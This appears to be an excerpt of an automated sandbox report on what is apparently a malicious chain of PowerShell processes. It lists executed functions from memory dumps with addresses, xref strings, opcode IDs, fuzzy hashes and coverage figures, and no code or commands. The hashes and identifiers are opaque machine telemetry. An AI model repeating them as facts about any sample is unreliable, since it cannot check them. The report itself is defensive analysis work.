Instruction Fuzzy Hash: CFE086396441159FC7009F64F5459D97BA9DB4D390B018061E909AB362CB79AC064BD1

Function 028C7ED8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3707036272.00000000028C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 644ae6ae73e951cf43992b9b208b647ad9b2d7e1fa3d8abc19dce8c7a225a192
Instruction ID: 2dbcea22b231d55211a4b0479b898b52e37d78ead984c2d182b091cfd23fa476
Opcode Fuzzy Hash: 644ae6ae73e951cf43992b9b208b647ad9b2d7e1fa3d8abc19dce8c7a225a192
Instruction Fuzzy Hash: BAD05E392001149FC704AB68E449C95BBE9EB4C354705C0A2E909D7362CB35EC008B91

Analysis Process: powershell.exePID: 7476, Parent PID: 7460COMMON

Executed Functions

Function 04E129F0 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1323695940.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36a6e55a19ed6b49085f1545c9fe164fd3694016b2da477f1166cf3df7fac0b1
Instruction ID: 84434fd6b6f23bf71cbe8fe5bac12c5be00bb145bb7aabdf906c073c5831a76f
Opcode Fuzzy Hash: 36a6e55a19ed6b49085f1545c9fe164fd3694016b2da477f1166cf3df7fac0b1
Instruction Fuzzy Hash: 2A919D74A002058FCB15CF58C894EAEFBB1FF88310B248699DA55AB365C735FC91CBA0

Function 04E12B00 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1323695940.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 255bd9e71c5926d39883fb894bc1a58a9c940f71b7130db8ae67fe6199707e87
Instruction ID: 8b16cb27eac5fb40b18f0e3538ad16759577ae9695fd5cc780cba8bdcb1d55a6
Opcode Fuzzy Hash: 255bd9e71c5926d39883fb894bc1a58a9c940f71b7130db8ae67fe6199707e87
Instruction Fuzzy Hash: 5E519174A002099FCB15CF58C894EAEF7B1FF48324B114699DA55AB3A4C736FC51CB90

Function 033BD006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1322539728.00000000033BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 033BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_33bd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c26024012f680046b9c55e54362691b0fe4cedbe0557808ac0e354acdc6cf10b
Instruction ID: 641e4e0bd7da90d12d54e10728e3681667156f2e1a318134fdf559632e28783a
Opcode Fuzzy Hash: c26024012f680046b9c55e54362691b0fe4cedbe0557808ac0e354acdc6cf10b
Instruction Fuzzy Hash: B5016D724093809FD7128B258C94792BFB8DF43220F1984CBE9888F593C2799844CB72

Function 033BD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1322539728.00000000033BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 033BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_33bd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c81d1d15ba203f6436302dfd7cde742f28dbdfcc71df9a9bbbb3a6cb55149854
Instruction ID: 9a39e595d5b20c7812b78512a8f8321fcef5e8999ceba99aebbbc3701d693047
Opcode Fuzzy Hash: c81d1d15ba203f6436302dfd7cde742f28dbdfcc71df9a9bbbb3a6cb55149854
Instruction Fuzzy Hash: 1D01A231405340AAE7208E25CDC4BA7FBACEF41664F18855AEE494FA82C27D9945CAB2

Analysis Process: powershell.exePID: 7604, Parent PID: 7476COMMON

Executed Functions

Function 041B6920 Relevance: 1.9, Strings: 1, Instructions: 669COMMON

Download Yara Rule

Strings

LRq, xrefs: 041B69CD

Memory Dump Source

Source File: 0000000C.00000002.1312492247.00000000041B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_41b0000_powershell.jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: 56521ff4ef561b1cdebde6612dea1f4c689636f99b85bc540857e9f1420e6a96
Instruction ID: 1fa88e9a4787f35942422bef1cc62ce20559c77108befdad1dd718a1abadc677
Opcode Fuzzy Hash: 56521ff4ef561b1cdebde6612dea1f4c689636f99b85bc540857e9f1420e6a96
Instruction Fuzzy Hash: 57522A34B00318CFDB25DB64C994BADB7B3AF85300F1581A9D9499B394DB35AD81CF92

Function 041B68FD Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

LRq, xrefs: 041B69CD

Memory Dump Source

Source File: 0000000C.00000002.1312492247.00000000041B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_41b0000_powershell.jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: 3ccaabbeb36d5767a935c2debec1ad6d0bfafb964176bf40fa6f907513768998
Instruction ID: 8e1bd78c45e2cb8a2ef234650be9be4887c81bd1c267b0f20218c807f6c2f649
Opcode Fuzzy Hash: 3ccaabbeb36d5767a935c2debec1ad6d0bfafb964176bf40fa6f907513768998
Instruction Fuzzy Hash: C7518F30B043549FDB25CF68D854BADBBB2BF89700F1140A9E5459B391DB71AD41CF92

Function 041B29F0 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1312492247.00000000041B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_41b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3e4ded6893a5b1768c1a95d48d3f6f1cee71aabd638aec401f7e6398bcb418d
Instruction ID: 5e119b66b093fab93bbab7797bb6a75faf8bb783e777f9bb29ff0742d4c317ec
Opcode Fuzzy Hash: b3e4ded6893a5b1768c1a95d48d3f6f1cee71aabd638aec401f7e6398bcb418d
Instruction Fuzzy Hash: A8916B74A002098FCB15CF58C5D8AEAFBB1FF48310B248599D855AB7A5C736FC91CBA4

Function 041B2B00 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1312492247.00000000041B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_41b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 098226853f9e1cfdcfd18e9fb9edcfdbcd5edc44611ef7a0018f0958aa5cfe59
Instruction ID: e1f82565222aea72cf5e087ec347ab277eec3865542035a662ac2a0e7ba672ee
Opcode Fuzzy Hash: 098226853f9e1cfdcfd18e9fb9edcfdbcd5edc44611ef7a0018f0958aa5cfe59
Instruction Fuzzy Hash: 8E412574A002098FCB06CF58C5E8AEAF7B1FF48310B218599D855AB764C736FC91CBA4

Function 041B73C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1312492247.00000000041B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_41b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3efdfe5ec70a6fc0c2375d84390275b2a6f1de0f5817b6b1346e9ec96f4ad56
Instruction ID: 671ba059717fb5ce00fd75535d40c46f034daf14f228cd559a1b63dc22092943
Opcode Fuzzy Hash: d3efdfe5ec70a6fc0c2375d84390275b2a6f1de0f5817b6b1346e9ec96f4ad56
Instruction Fuzzy Hash: 37015275F0020C9FCB14DBA895513FEBFF69B88200F00846BD519A7780EB3555518FD2

Function 027FD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1310190651.00000000027FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 027FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_27fd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84a9f594046719d45e16525d910919c1c677ae53757b7bbb8cd8255a226d4cdf
Instruction ID: b3cfc2b2bf8d4f97b0387a9891de82185621254adf765e00a6a167a4909b800b
Opcode Fuzzy Hash: 84a9f594046719d45e16525d910919c1c677ae53757b7bbb8cd8255a226d4cdf
Instruction Fuzzy Hash: 9401A23150C340EAE7705B25C984B67BB98EF41664F18856AEE481F782C3799845CAB2

Function 027FD007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1310190651.00000000027FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 027FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_27fd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7de4d2bbb6d3d3871b1670b147c06e911a84aedda4ffc7536aa1a210dc24254
Instruction ID: 171b6bc8da78fc1c39f6bb34cdc78d61a30e22de606552812e82d3e828c64736
Opcode Fuzzy Hash: f7de4d2bbb6d3d3871b1670b147c06e911a84aedda4ffc7536aa1a210dc24254
Instruction Fuzzy Hash: 3701257240E3C09FD7264B258D94B66BFB4DF43224F1D81DBE9888F6A3C2695849C772

Function 041B73D0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1312492247.00000000041B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_41b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faa6dc21793f7b7b9cfd54194dabe440a0fc5cdf0c7423e535bf577d0eba7161
Instruction ID: 9eb525ccc53afa6a8fa3a53b792fc0204d3a9ed670d381b8abe55d713a0fd600
Opcode Fuzzy Hash: faa6dc21793f7b7b9cfd54194dabe440a0fc5cdf0c7423e535bf577d0eba7161
Instruction Fuzzy Hash: B8E026B4E0424E9F8F48DFB995411BEFBF5AB48201F1089AFD829E3340E67456118FD5

Function 041B7390 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1312492247.00000000041B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_41b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73185c6b05fe3957811f69c35103bb275f4fd589c24fdaea3e2ddff504e21d19
Instruction ID: 8236db9e5dda4d1a024b77e99c6a6c2e81e6cf954784b9d38b53c64947ef5bc7
Opcode Fuzzy Hash: 73185c6b05fe3957811f69c35103bb275f4fd589c24fdaea3e2ddff504e21d19
Instruction Fuzzy Hash: 6ED05E3100E395DFD30283B0960A6B07FB9EB43204B4800E6E488864A3E3186499C3E2

Analysis Process: powershell.exePID: 7700, Parent PID: 7604COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.2%
Total number of Nodes:	73
Total number of Limit Nodes:	6

Executed Functions

Function 02C9AB48 Relevance: 5.3, Strings: 2, Instructions: 2817COMMON

Download Yara Rule

Strings

@pp^, xrefs: 02C9C69A
Qpp^, xrefs: 02C9B471

Memory Dump Source

Source File: 0000000D.00000002.2172710117.0000000002C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c90000_powershell.jbxd

Similarity

API ID:
String ID: @pp^$Qpp^
API String ID: 0-4274697155
Opcode ID: 704edbc0b1c738a7c94b6071abffdf1f83059601f13c1c22713446f083b3f48b
Instruction ID: 27a63886509be024a974a62a807346ece1c7a1c5e38d3e2bef7876d6ad683024
Opcode Fuzzy Hash: 704edbc0b1c738a7c94b6071abffdf1f83059601f13c1c22713446f083b3f48b
Instruction Fuzzy Hash: 6033E070A05384AFDB02CF68D498ADDBFB1FF4A318F19819AE4449B262C735DD46CB91

Function 02BCAD10 Relevance: 1.5, Strings: 1, Instructions: 252COMMON

Download Yara Rule

Strings

xy$, xrefs: 02BCAE6B, 02BCAE70

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: xy$
API String ID: 0-2399629526
Opcode ID: 0a2f012aa07a98eab5859edc1fedd7a68c159835385bb71f44fcc4d60f64a9b7
Instruction ID: ed1431d7b31b28b2eb68afce6d7e5efd701cfee72bbec7ce0f6a14853a6219c1
Opcode Fuzzy Hash: 0a2f012aa07a98eab5859edc1fedd7a68c159835385bb71f44fcc4d60f64a9b7
Instruction Fuzzy Hash: 1CB10674A0120DCFDB14CFA8D485BEEBBF1FB49715F2080AAE409AB690DB745A45CF90

Function 072E26CB Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2213590170.00000000072E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_72e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54bc2e6eb19a14cc64ed1080e513872b8da7bdd3548857ce198a767cb6b03bb7
Instruction ID: 745edf4696fc4739f15e2566f9124dd69581f0350ac2a77b713ec75f97667934
Opcode Fuzzy Hash: 54bc2e6eb19a14cc64ed1080e513872b8da7bdd3548857ce198a767cb6b03bb7
Instruction Fuzzy Hash: 9552B3B4A106298FCB64DF28CD84B9ABBB6FB89301F5085D9D50DA7351DB30AE85CF50

Function 02C9D26A Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2172710117.0000000002C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 497c2a8623b2f4a5337eeae0cd063096dde7223837d32adae80d22e2428894b6
Instruction ID: 7e5b6917e05e85782519065c9ccab5dacb6c3e6f96a58dcc33d22e51aab7ee5a
Opcode Fuzzy Hash: 497c2a8623b2f4a5337eeae0cd063096dde7223837d32adae80d22e2428894b6
Instruction Fuzzy Hash: D5E1E1B290EBD14FD707AB3898A55C67F71EF53228B0A00CBC095DF0A3D618584BC7A6

Function 08078E3F Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2217001342.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8070000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 958126f7aff73d8723720594fc8039fc0441f230fb1101dbe6d3c54e44c7820a
Instruction ID: 224ff0af941f87d8a7cdef1d4d776c21ca482741776e8c6b383c629c63c84492
Opcode Fuzzy Hash: 958126f7aff73d8723720594fc8039fc0441f230fb1101dbe6d3c54e44c7820a
Instruction Fuzzy Hash: B481F374E15218CFDB54CFA9D888BADBBF2BB4A301F1090A9D409A7750DB749C85CF48

Function 08078DBC Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2217001342.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8070000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 036d2abb79041d75042989a39521cd1f6cf0dec1287deb8d0182901898bc7a0e
Instruction ID: b1f905ef7fbbfcd6c6a550228c00513e5b725cd9ef0f14bbf2092598982ff8f4
Opcode Fuzzy Hash: 036d2abb79041d75042989a39521cd1f6cf0dec1287deb8d0182901898bc7a0e
Instruction Fuzzy Hash: 5471F374E15218CFDB54CFA8D488BADBBF2BB4A302F1091A9D409A7740DB745D85CF48

Function 07046E38 Relevance: 46.6, Strings: 36, Instructions: 1573COMMON

Download Yara Rule

Strings

tPq, xrefs: 0704778F
4'q, xrefs: 07047262
$q, xrefs: 07047464
4'q, xrefs: 0704726E
$q, xrefs: 07047233
tPq, xrefs: 0704779B
$q, xrefs: 07046E79
$q, xrefs: 07047ABA
$q, xrefs: 07047405
$q, xrefs: 07047243
$q, xrefs: 070471CE
$q, xrefs: 07047426
$q, xrefs: 07047958
tPq, xrefs: 07047502
4'q, xrefs: 0704701F
$q, xrefs: 070475C0
$q, xrefs: 070471DE
4'q, xrefs: 070475F0
$q, xrefs: 07046E4A
$q, xrefs: 07047948
$q, xrefs: 07047D59
$q, xrefs: 07046E6B
$q, xrefs: 07047921
$q, xrefs: 0704770C
tPq, xrefs: 0704750E
$q, xrefs: 070475D0
$q, xrefs: 07047D4B
$q, xrefs: 07047186
$q, xrefs: 07047472
$q, xrefs: 07047AE9
$q, xrefs: 07047ADB
$q, xrefs: 070471A7
$q, xrefs: 07047442
$q, xrefs: 07047D2A
4'q, xrefs: 07047013
4'q, xrefs: 070475FC

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$4'q$4'q$tPq$tPq$tPq$tPq$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-3222669578
Opcode ID: aeef70281093618f3fc4012df4df8c1408a114fc85106ad6ef0d3483bd1ecc87
Instruction ID: f6fa0cd1986cd4e3c496adf0f8d13db733e0129c5b04c6818e1fbbc124eb500b
Opcode Fuzzy Hash: aeef70281093618f3fc4012df4df8c1408a114fc85106ad6ef0d3483bd1ecc87
Instruction Fuzzy Hash: 9AB228F1B00206DFDB648F69C9446AABBF2FF85211F18C67AE8169B251DB31DC41C7A1

Function 070492C0 Relevance: 28.9, Strings: 22, Instructions: 1438COMMON

Download Yara Rule

Strings

$q, xrefs: 0704A24F
4'q, xrefs: 07049E8A
4'q, xrefs: 0704A051
4'q, xrefs: 07049CC7
$q, xrefs: 0704A1A3
4'q, xrefs: 070497C2
$q, xrefs: 0704A243
4'q, xrefs: 070497CE
4'q, xrefs: 07049E96
$q, xrefs: 07049C78
4'q, xrefs: 0704A26B
$q, xrefs: 07049E4B
4'q, xrefs: 0704A277
4'q, xrefs: 0704A045
$q, xrefs: 0704A1EE
$q, xrefs: 0704A1C4
$q, xrefs: 07049E67
$q, xrefs: 07049E73
$q, xrefs: 07049C6A
$q, xrefs: 07049C45
$q, xrefs: 0704A1FE
4'q, xrefs: 07049CD3

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$4'q$4'q$4'q$4'q$4'q$4'q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-1790025989
Opcode ID: 6c307f55a0af011e2ded28eb2e743b70370dc6b7bcdd716496bf521f4aaca895
Instruction ID: ada7c00e5cba380f0c89cc77e945cc71b985ec7d9c41477d7936d9953690d66e
Opcode Fuzzy Hash: 6c307f55a0af011e2ded28eb2e743b70370dc6b7bcdd716496bf521f4aaca895
Instruction Fuzzy Hash: EFB2C4F0B102059FDB64DF69C944A6BBBF2EF85210F14C27AE8169B351DB31E842CB91

Function 0704A6B8 Relevance: 15.5, Strings: 12, Instructions: 534
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'q, xrefs: 0704A8B2
tPq, xrefs: 0704A7FD
tPq, xrefs: 0704A809
$q, xrefs: 0704AAC4
$q, xrefs: 0704AA54
4'q, xrefs: 0704AB12
4'q, xrefs: 0704A8BE
$q, xrefs: 0704AA76
$q, xrefs: 0704AA84
4'q, xrefs: 0704AB06
$q, xrefs: 0704AAD4
$q, xrefs: 0704AA38

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$tPq$tPq$$q$$q$$q$$q$$q$$q
API String ID: 0-21239266
Opcode ID: 535869e7d94198a808c257816d21873b924ac46488194bb65db2d91ff2a06192
Instruction ID: 8ea2ccb658fce06acb600ce9d58f1ef9855859a3bcd347c8991084c90d05f105
Opcode Fuzzy Hash: 535869e7d94198a808c257816d21873b924ac46488194bb65db2d91ff2a06192
Instruction Fuzzy Hash: 2802F6F1B402069FDB649B69C95076AB7F2EF85210F18C1BAE4568F351CB31DC42CBA1

Function 06BA5DA8 Relevance: 11.3, Strings: 8, Instructions: 1285COMMON

Download Yara Rule

Strings

4'q, xrefs: 06BA68A9
4'q, xrefs: 06BA6B7B
4'q, xrefs: 06BA6B87
4'q, xrefs: 06BA68B5
(oq, xrefs: 06BA6D39
tPq, xrefs: 06BA5F72
(oq, xrefs: 06BA6D29
tPq, xrefs: 06BA5F66

Memory Dump Source

Source File: 0000000D.00000002.2209369154.0000000006BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ba0000_powershell.jbxd

Similarity

API ID:
String ID: (oq$(oq$4'q$4'q$4'q$4'q$tPq$tPq
API String ID: 0-4014748467
Opcode ID: 5d5d4a38aa1fd3c60a1da06af9ba92679d72c9c223d19ff747b8497f4a739c83
Instruction ID: ee6e48c50a57d2019ef128bd1a3fde7e56e3e8f3952f04efad32c83647acbe05
Opcode Fuzzy Hash: 5d5d4a38aa1fd3c60a1da06af9ba92679d72c9c223d19ff747b8497f4a739c83
Instruction Fuzzy Hash: 4AA2F7B1F043049FDB649F69C9447AAB7E2EF88610F1CC4AAE906DB251EB31DD41CB91

Function 06BA1AF0 Relevance: 8.5, Strings: 6, Instructions: 1014COMMON

Download Yara Rule

Strings

tPq, xrefs: 06BA1F72
4'q, xrefs: 06BA2653
tPq, xrefs: 06BA1F66
4'q, xrefs: 06BA26E1
4'q, xrefs: 06BA263D
4'q, xrefs: 06BA26F7

Memory Dump Source

Source File: 0000000D.00000002.2209369154.0000000006BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ba0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$tPq$tPq
API String ID: 0-3271992745
Opcode ID: 07c835658cc8e4f93c961c84426f02f18f56da37891e70f4cb2b5bbf810e8f63
Instruction ID: 9599addd20e003647ecc506bb98a4eb02d3e20a666c3b2871ad3dec42ca89d1a
Opcode Fuzzy Hash: 07c835658cc8e4f93c961c84426f02f18f56da37891e70f4cb2b5bbf810e8f63
Instruction Fuzzy Hash: C2826075F043148FEB64DF58C950BAEB7B2EB85310F1484AAD909AB351DB31ED82CB91

Function 07048798 Relevance: 6.6, Strings: 5, Instructions: 374
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 0704887E
$q, xrefs: 070488A5
$q, xrefs: 070488B5
(oq, xrefs: 070488F0
(oq, xrefs: 070488E0

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: (oq$(oq$$q$$q$$q
API String ID: 0-2074718331
Opcode ID: 758667f35c1c0be665be486a68c24a1cb2d64c383456a2d792ae176a5dd84dda
Instruction ID: 0bb561fe8a8482045a8a53316880f5591014c304a91825acf1ea9f8c5c5e2f51
Opcode Fuzzy Hash: 758667f35c1c0be665be486a68c24a1cb2d64c383456a2d792ae176a5dd84dda
Instruction Fuzzy Hash: 00C116F1B003069FDB649E69D8047AABBE2FF85210F18C97AD9159B2C0DB31D851C7A1

Function 06BAA716 Relevance: 5.9, Strings: 4, Instructions: 913
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'q, xrefs: 06BAB3A1
4'q, xrefs: 06BAB324
4'q, xrefs: 06BAB30E
4'q, xrefs: 06BAB3AD

Memory Dump Source

Source File: 0000000D.00000002.2209369154.0000000006BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ba0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q
API String ID: 0-4210068417
Opcode ID: 1b71427e82a3c449889c480a180016445fbc7c48396b3a4adea56b211f3f05b3
Instruction ID: 6002d6126f5afcddc0067c9668cffbed42fdd610b257195ce062b418a223437e
Opcode Fuzzy Hash: 1b71427e82a3c449889c480a180016445fbc7c48396b3a4adea56b211f3f05b3
Instruction Fuzzy Hash: 579262B4A403149FEB64DF14C954B9AB7B2EF85304F1081EAEA096B351CB71ED82CF95

Function 02BC950F Relevance: 3.8, Strings: 3, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Teq, xrefs: 02BC9628
8, xrefs: 02BC9537
F, xrefs: 02BC964C

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: 8$F$Teq
API String ID: 0-1661559856
Opcode ID: 573b50e5f56ff8a235e4ced79e55800130023d95e05bddfa01d740cfdb168fe4
Instruction ID: 328416fa17b5f5992d7186b4fa0eb7f0909c50f58457fadd71cbe62329da94b7
Opcode Fuzzy Hash: 573b50e5f56ff8a235e4ced79e55800130023d95e05bddfa01d740cfdb168fe4
Instruction Fuzzy Hash: CC21D3B0D01699CFEB50CF99D848BEDBBF5BB49304F609099D09AAB748DB745A85CF00

Function 06BAB5CF Relevance: 3.7, Strings: 2, Instructions: 1212
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'q, xrefs: 06BAB3A1
4'q, xrefs: 06BAB30E

Memory Dump Source

Source File: 0000000D.00000002.2209369154.0000000006BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ba0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: c291ec822f062bb206cf4cb3294a017afb96db61aedc216d83acbee3c5eb1ee7
Instruction ID: 8ff2fc087bf7d75a53b44246e4fafcc386ac75af6b693637ce25a0c33e1f6763
Opcode Fuzzy Hash: c291ec822f062bb206cf4cb3294a017afb96db61aedc216d83acbee3c5eb1ee7
Instruction Fuzzy Hash: 65C230B4A402149FDB64CB14C950B99B7F2EB89304F14C1EAEA19AB351CB71ED82CF95

Function 07040488 Relevance: 2.7, Strings: 2, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'q, xrefs: 0704058D
4'q, xrefs: 07040599

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: 3451e1fd7925517a6c8d6018f29ba64143027b47579218854527f24b76ee8c47
Instruction ID: f4720866f35889b321bb25a2e2e144160639b2cc5917c8f94d4866a6a6fed2d8
Opcode Fuzzy Hash: 3451e1fd7925517a6c8d6018f29ba64143027b47579218854527f24b76ee8c47
Instruction Fuzzy Hash: 0D5138F0B043069FDB615A7598107AF7BE2EBC6200F1481F7D646EB291DE35D982C7A2

Function 07046AE0 Relevance: 2.6, Strings: 2, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tPq, xrefs: 07046B72
tPq, xrefs: 07046B66

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: tPq$tPq
API String ID: 0-4270251778
Opcode ID: 684ea744edcb217a2f8083cdeae4bd05a59ea40449e7b73d86c4a56906883e9d
